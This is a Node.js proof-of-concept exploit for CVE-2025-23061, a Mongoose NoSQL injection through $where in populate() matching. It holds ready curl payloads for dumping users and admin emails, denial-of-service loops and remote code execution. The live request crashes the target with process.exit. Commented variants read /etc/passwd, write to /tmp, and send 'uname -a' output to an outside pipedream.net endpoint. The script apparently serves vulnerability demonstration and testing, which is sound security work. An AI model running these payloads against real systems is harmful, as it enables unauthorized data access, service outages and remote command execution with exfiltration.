#!/usr/bin/env node /** * CVE-2025-23061 - Mongoose NoSQL Injection Exploit * * This script demonstrates how the vulnerability in Mongoose < 8.9.5 * can be exploited to bypass authentication and access admin-only data * through improper sanitization of $where operators in populate() match. */ const debug = require('debug')('cve-2025-23061-exploit'); const TARGET_URL = process.env.TARGET_URL || 'http://localhost:3000'; // Advanced Attack Scenarios // // "{{BaseURL}}/posts?authorMatch={\"$and\":[{\"$where\":\"this.isAdmin\"}]}" // # Extract all users regardless of permissions (URL-encoded) // curl "http://localhost:3000/posts?authorMatch=%7B%22%24and%22%3A%5B%7B%22%24where%22%3A%22true%22%7D%5D%7D" // # Extract all users (Raw JSON) // curl 'http://localhost:3000/posts?authorMatch={"$and":[{"$where":"true"}]}' // # Extract admin email patterns (URL-encoded) // curl "http://localhost:3000/posts?authorMatch=%7B%22%24and%22%3A%5B%7B%22%24where%22%3A%22this.email.includes%28%27admin%27%29%22%7D%5D%7D" // # Extract admin email patterns (Raw JSON) // curl 'http://localhost:3000/posts?authorMatch={"$and":[{"$where":"this.email.includes(\"admin\")"}]}' // # Enumerate object properties (URL-encoded) // curl "http://localhost:3000/posts?authorMatch=%7B%22%24and%22%3A%5B%7B%22%24where%22%3A%22Object.keys%28this%29.length%20%3E%200%22%7D%5D%7D" // # Enumerate object properties (Raw JSON) // curl 'http://localhost:3000/posts?authorMatch={"$and":[{"$where":"Object.keys(this).length > 0"}]}' // Denial of Service (DoS) - Using CVE-2025-23061 Bypass // # Resource exhaustion attack (URL-encoded) // curl "http://localhost:3000/posts?authorMatch=%7B%22%24and%22%3A%5B%7B%22%24where%22%3A%22sleep%281000%29%20%7C%7C%20true%22%7D%5D%7D" // # Resource exhaustion attack (Raw JSON) // curl 'http://localhost:3000/posts?authorMatch={"$and":[{"$where":"sleep(1000) || true"}]}' // # Infinite loop attack (URL-encoded) // curl "http://localhost:3000/posts?authorMatch=%7B%22%24and%22%3A%5B%7B%22%24where%22%3A%22while%28true%29%7B%7D%22%7D%5D%7D" // # Infinite loop attack (Raw JSON) // curl 'http://localhost:3000/posts?authorMatch={"$and":[{"$where":"while(true){}"}]}' //RCE // # Attempt to access internal functions (URL-encoded) // curl "http://localhost:3000/posts?authorMatch=%7B%22%24and%22%3A%5B%7B%22%24where%22%3A%22this.constructor.constructor%28%27return%20process%27%29%28%29%22%7D%5D%7D" // # Attempt to access internal functions (Raw JSON) // curl 'http://localhost:3000/posts?authorMatch={"$and":[{"$where":"this.constructor.constructor(\"return process\")()"}]}' async function makeRequest(path, method = 'GET', data = null) { const url = new URL(path, TARGET_URL).toString(); debug(`Making ${method} request to: ${url}`); const options = { method: method, headers: { 'Content-Type': 'application/json', } }; if (data) { options.body = JSON.stringify(data); } const res = await fetch(url, options); const contentType = res.headers.get('content-type'); let body = ''; if (contentType && contentType.includes('application/json')) { body = await res.json(); } else { body = await res.text(); } return { status: res.status, headers: Object.fromEntries(res.headers), body: body }; } async function main() { console.log('╔════════════════════════════════════════════════════════════╗'); console.log('║ CVE-2025-23061 - Mongoose NoSQL Injection PoC ║'); console.log('║ Target: ' + TARGET_URL.padEnd(48) + '║'); console.log('╚════════════════════════════════════════════════════════════╝\n'); try { // Step 1: Check health // const health = await makeRequest('/health'); // debug('Health check response:', health); const setup = await makeRequest('/setup', 'POST'); // debug('Setup response:', setup); // const normal = await makeRequest('/posts'); // debug('Normal posts response:', normal); // const exploit1 = await makeRequest('/posts?authorMatch=' + // encodeURIComponent('{"$and":[{"$where":"this.isAdmin"}]}')); // debug('Exploit posts response:', exploit1); // const exploit2 = await makeRequest('/posts?authorMatch=' + // encodeURIComponent('{"$or":[{"$where":"1==1"}]}')); // debug('Exploit 2 posts response:', exploit2); // const postExploit = await makeRequest('/posts/search', 'POST', { // authorMatch: { // "$and": [ { "$where": "this.isAdmin === true" } ] // } // }); // debug('POST Exploit response:', postExploit); //RCE Attempt // const rceExploit = await makeRequest('/posts?authorMatch=' + // encodeURIComponent('{"$and":[{"$where":"this.constructor.constructor(\'return this.global\')()"}]}')); // debug('RCE Exploit response:', rceExploit); //view[path]=author&view[match][][$or][$where]=fs.readFileSync('/etc/passwd','utf8') const rceExploit2 = await makeRequest('/posts-2?query=' + encodeURIComponent(JSON.stringify({ path: "author", match: [ { $or: [ // { // // "$where": "fs.readFileSync('/etc/passwd','utf8')" // // "$where": "this.constructor.constructor(\'return this.global\')()" // "$where": "global.process.mainModule.require('child_process').execSync('cat /etc/passwd').toString()" // }, // { // "$where": "global.process.mainModule.require('fs').writeFileSync('/tmp/rce-23061-triggered.txt', 'RCE during decode: ' + new Date().toISOString());" // } { //OWASP Juice Shop Demo // "$where": "typeof global != 'undefined' ? global.process.mainModule.constructor._load( 'child_process' ).exec( 'echo Hello from CVE-2025-23061' ): 1" // "$where": "typeof global != 'undefined' ? global.process.mainModule.require('fs').writeFileSync('/tmp/rce-23061-triggered.txt', 'RCE during decode: ' + new Date().toISOString()): 1" "$where": "typeof global != 'undefined' ? global.process.exit(1): 1" // "$where": "typeof global != 'undefined' ? global.process.mainModule.require('https').request('https://3b01c17073db791fa7d328bbfa08103f.m.pipedream.net',{method: 'POST'}, (res) => {console.log(`STATUS: ${res.statusCode}`);console.log(`HEADERS: ${JSON.stringify(res.headers)}`);res.setEncoding('utf8');res.on('data', (chunk) => {console.log(`BODY: ${chunk}`);});res.on('end', () => {console.log('No more data in response.');});}).end(process.mainModule.require('child_process').execSync('uname -a')): 1" } ] } ], select: 'username email isAdmin' }))); debug('RCE Exploit2 response:', rceExploit2.body); } catch (error) { console.error('Error during exploitation:', error); process.exit(1); } } main();